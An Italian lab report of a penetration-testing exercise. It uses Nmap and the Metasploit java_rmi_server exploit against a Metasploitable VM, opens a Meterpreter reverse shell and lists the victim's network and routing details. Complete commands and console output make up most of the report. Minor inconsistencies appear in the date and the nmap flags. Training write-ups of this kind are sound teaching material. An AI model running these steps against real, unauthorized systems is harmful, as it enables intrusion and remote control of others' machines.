

Report Dettagliato sull'Esercitazione: Sfruttamento della Vulnerabilità su Metasploitable con Java RMI

Data 19/01/23

Introduzione

L'esercitazione in oggetto mira al riconoscimento e sfruttamento di vulnerabilità su sistemi informatici. La nostra macchina bersaglio, Metasploitable, è stata configurata con un servizio vulnerabile sulla porta 1099, specificamente legato a Java RMI (Remote Method Invocation). L'obiettivo è quello di utilizzare Metasploit, un framework di test di penetrazione, per sfruttare questa vulnerabilità e ottenere una sessione remota Meterpreter sulla macchina vittima.

Per garantire coerenza nel processo, la macchina attaccante (Kali) è assegnata con l'indirizzo IP 192.168.11.111, mentre la macchina vittima (Metasploitable) ha l'indirizzo IP 192.168.11.112.

L'esercizio si articola in fasi chiave: inizialmente, uno scanning della rete con Nmap per identificare la vulnerabilità, seguito dall'utilizzo di Metasploit per sfruttarla e ottenere l'accesso remoto. Inoltre, dobbiamo raccogliere informazioni specifiche sulla configurazione di rete e sulla tabella di routing della macchina Metasploitable dopo il successo dell'attacco.

Scansione della Rete con Nmap:

L'inizio dell'esercitazione ha coinvolto una scansione della rete della macchina Metasploitable attraverso l'utilizzo di Nmap. L'obiettivo principale di questa fase era identificare i servizi attivi sulla macchina vittima e individuare eventuali vulnerabilità. Il comando Nmap utilizzato è il seguente:

```
- nmap -p 1-65535 -sV -O 192.168.11.112
```

-p 1099: Specifica di scansionare solo la porta 1099

-sV: Esegue la rilevazione della versione dei servizi per identificarli più accuratamente.

```
kali@kali: ~  
(kali@kali)-[~]  
$ nmap -sV -p 1099 192.168.11.112  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-19 03:52 EST  
Nmap scan report for 192.168.11.112  
Host is up (0.0040s latency).  
  
PORT      STATE SERVICE VERSION  
1099/tcp  open  java-rmi GNU Classpath grmiregistry  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 19.61 seconds
```

Sfruttamento della Vulnerabilità con Metasploit

Una volta identificata la vulnerabilità Java RMI sulla porta 1099, è stato utilizzato Metasploit per sfruttarla. La scelta del modulo appropriato è stata motivata dalla natura della vulnerabilità. Il modulo specifico è stato configurato con i seguenti comandi Metasploit:

```
msf6 > search java_rmi
```

```
msf6 > use exploit/multi/misc/java_rmi_server
```

Una volta trovato il modulo e selezionato, procediamo guardando le opzioni possibili per la configurazione con i seguenti comandi:

```
msf6 > set RHOSTS 192.168.11.112
```

```
msf > set payload java/meterpreter/reverse_tcp
```

```
msf6 > exploit
```

use exploit/multi/misc/java_rmi_server: Selezione del modulo Metasploit specifico per sfruttare la vulnerabilità Java RMI.

set RHOSTS 192.168.11.112: Impostazione dell'indirizzo IP della macchina vittima come destinazione.

set payload java/meterpreter/reverse_tcp: Impostazione del payload per l'utilizzo della shell meterpreter.

exploit: Avvio dell'attacco per ottenere una sessione Meterpreter sulla macchina remota.

```
Terminal

Exploit Upload
o_o M S F
||| WW |||
||| |||

[ metasploit v6.3.50-dev ]
+ -- --[ 2384 exploits - 1235 auxiliary - 417 post ]
+ -- --[ 1391 payloads - 46 encoders - 11 nops ]
+ -- --[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search java_rmi

Matching Modules
=====

# Name Disclosure Date Rank Check Des
- - - - -
0 auxiliary/gather/java_rmi_registry normal No Jav
a RMI Registry Interfaces Enumeration
1 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Jav
a RMI Server Insecure Default Configuration Java Code Execution
2 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Jav
a RMI Server Insecure Endpoint Code Execution Scanner
3 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Jav
a RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > 
```

```
Name Current Setting Required Description
----
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description
----
LHOST 192.168.11.111 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
--
0 Generic (Java Payload)
```

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > |
```

Raccolta di informazioni

a. Configurazione di Rete sulla Macchina Remota:

Una volta ottenuta la sessione Meterpreter, è stato eseguito il comando `ifconfig` per raccogliere informazioni sulla configurazione di rete della macchina Metasploitable. Questo comando restituisce dettagli su indirizzi IP, subnet mask, gateway predefinito e altri parametri di rete.

meterpreter> ipconfig

```
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/NEwdN9E
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:44406) at 2024-01-19 09:54:54 +0100

meterpreter > ifconfig

Interface 1
-----
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
-----
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:feca:e27f
IPv6 Netmask : ::
```

b. Informazioni sulla Tabella di Routing della Macchina Vittima:

Per ottenere dettagli sulla tabella di routing, è stato utilizzato il comando `route` nella sessione Meterpreter. Questo comando ha fornito informazioni sulle rotte di rete sulla macchina vittima.

meterpreter> route

```
meterpreter > route
IPv4 network routes

```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```

IPv6 network routes

```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:feca:e27f	::	::		

```
meterpreter > █
```

Conclusione:

L'utilizzo combinato di Nmap e Metasploit ha permesso di identificare una vulnerabilità sulla macchina Metasploitable e sfruttarla con successo. La scansione iniziale con Nmap ha fornito una panoramica dettagliata del servizio in esecuzione sulla porta 1099, mentre Metasploit è stato utilizzato per sfruttare la vulnerabilità e ottenere una sessione Meterpreter. La raccolta di informazioni sulla configurazione di rete e sulla tabella di routing ha completato l'esercitazione, dimostrando le competenze acquisite nello sfruttamento di vulnerabilità e nella successiva analisi post-sfruttamento.